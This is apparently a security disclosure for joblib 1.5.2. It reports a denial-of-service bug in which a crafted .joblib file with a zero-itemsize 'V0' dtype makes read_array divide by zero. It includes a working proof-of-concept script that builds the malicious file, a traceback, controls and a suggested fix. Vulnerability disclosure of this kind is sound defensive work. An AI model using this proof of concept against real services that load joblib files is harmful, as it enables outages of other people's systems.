YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
joblib.load DoS: ZeroDivisionError in read_array from attacker-controlled itemsize-0 dtype metadata
Target: joblib (PyPI package joblib)
Verified version: joblib 1.5.2, numpy 2.3.5, CPython 3.13 (Kali). Vulnerable line is unchanged on joblib main.
Vulnerable file/line: joblib/numpy_pickle.py, NumpyArrayWrapper.read_array, line 191.
Impact: Denial of service (unhandled ZeroDivisionError) on joblib.load() of an untrusted .joblib file. Not memory corruption or RCE.
Class: CWE-369 (Divide By Zero) reachable from untrusted deserialization metadata.
Root cause
In joblib/numpy_pickle.py, NumpyArrayWrapper.read_array computes a read-chunk count by dividing the buffer size by the dtype item size, with no guard against a zero itemsize:
# joblib/numpy_pickle.py (line ~191, NumpyArrayWrapper.read_array)
max_read_count = BUFFER_SIZE // min(BUFFER_SIZE, self.dtype.itemsize)
self.dtype is attacker-controlled metadata carried inside the pickled NumpyArrayWrapper. A non-object numpy dtype whose itemsize is 0 โ e.g. np.dtype('V0'), a zero-length void โ has hasobject == False, so read_array takes the raw-array else branch and evaluates min(BUFFER_SIZE, 0) == 0 as the divisor. This raises ZeroDivisionError before any array data is read.
The crash is count-independent: it fires for shape (0,) and (1,) alike, because the division happens before the read loop.
Asymmetry with the write side (confirms the missing check)
The WRITE path already guards the exact same division. In write_array (line ~126):
# joblib/numpy_pickle.py (line ~126, write_array)
buffersize = max(16 * 1024 ** 2 // array.itemsize, 1)
The max(..., 1) floor prevents a zero divisor on write. The READ side has no equivalent floor โ an asymmetry that pinpoints the missing guard.
Reachability from the public loader
joblib.load() -> _unpickle -> NumpyUnpickler.load_build (overrides pickle BUILD) -> array_wrapper.read -> read_array. So a crafted .joblib file crashes the documented public loader. No pickle __reduce__ gadget is involved โ the crash comes purely from the array metadata joblib itself trusts and dereferences.
PoC
Craft a joblib file whose array placeholder claims a zero-itemsize dtype:
import numpy as np, pickle, joblib
from joblib.numpy_pickle import NumpyArrayWrapper
w = NumpyArrayWrapper(np.ndarray, shape=(1,), order='C',
dtype=np.dtype('V0'), allow_mmap=False)
open('poc_v0.joblib', 'wb').write(pickle.dumps(w, protocol=5))
joblib.load('poc_v0.joblib') # -> ZeroDivisionError at numpy_pickle.py:191
The file is a plain pickle stream containing a NumpyArrayWrapper with dtype V0. joblib's NumpyUnpickler overrides BUILD, reconstructs the wrapper, and calls read_array, which divides by min(BUFFER_SIZE, itemsize) == 0.
Captured evidence (verbatim, real joblib.load() execution)
dtype V0 itemsize = 0 hasobject = False
Traceback (most recent call last):
File ".../joblib/numpy_pickle.py", line 749, in load
obj = _unpickle(fobj, ...)
File ".../joblib/numpy_pickle.py", line 626, in _unpickle
obj = unpickler.load()
File "/usr/lib/python3.13/pickle.py", line 1256, in load
dispatch[key[0]](self)
File ".../joblib/numpy_pickle.py", line 462, in load_build
_array_payload = array_wrapper.read(self, self.ensure_native_byte_order)
File ".../joblib/numpy_pickle.py", line 284, in read
array = self.read_array(unpickler, ensure_native_byte_order)
File ".../joblib/numpy_pickle.py", line 191, in read_array
max_read_count = BUFFER_SIZE // min(BUFFER_SIZE, self.dtype.itemsize)
~~~~~~~~~~~~^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ZeroDivisionError: integer division or modulo by zero
Negative controls (same run)
control1 legit np.arange dump/load roundtrip OK, equal = True
control2 identical craft path with VALID dtype 'u1' shape (0,) -> array([], dtype=uint8) (loads fine)
variant v0 shape (0,) -> ZeroDivisionError (proves count-independent, pre-loop)
control2 isolates the cause: the same crafting method with a valid dtype loads cleanly, so the crash is specifically the itemsize-0 dtype metadata, not the way the file was built.
Suggested fix
Floor the divisor on the read side to mirror the write side, e.g.:
max_read_count = BUFFER_SIZE // max(min(BUFFER_SIZE, self.dtype.itemsize), 1)
or explicitly reject a zero/negative itemsize dtype before entering the read loop.
Dedup / prior art
- Distinct from the three joblib scanner-bypass reports (stopbyte
0x2e-STOP, numeric-genops multi-array, numpy-ctypeslib). Those aremodelscanpickle-layer false-negatives. This is a crash inside joblib's ownread_arraymetadata handling, independent of any scanner, with no pickle reduce gadget. - Distinct from CVE-2024-34997 (joblib pickle
__reduce__RCE primitive) โ that requires a reduce gadget; this fires purely from trusted array metadata. - No public report found for a joblib
read_arrayitemsize-0ZeroDivisionError. The vulnerable line is unchanged on joblibmain; the write/read guard asymmetry (write line ~126 usesmax(..., 1)) is public but unremarked. - Related read_array paths characterized but weaker (not the primary): subarray dtype
('f8',(2,))yields an unhandledValueError(reshape mismatch); a huge shape yields numpy's guardedMemoryError(over-alloc is validated by numpy, not memory-unsafe). The itemsize-0ZeroDivisionErroris the clean, deterministic primary.
Scope note
joblib.load is already documented as unsafe for untrusted pickle input. The security boundary here is that a crash is reachable from pure array metadata before any reduce gadget executes โ i.e. metadata joblib itself parses and trusts triggers an unhandled exception. Impact is denial-of-service, not memory corruption or RCE.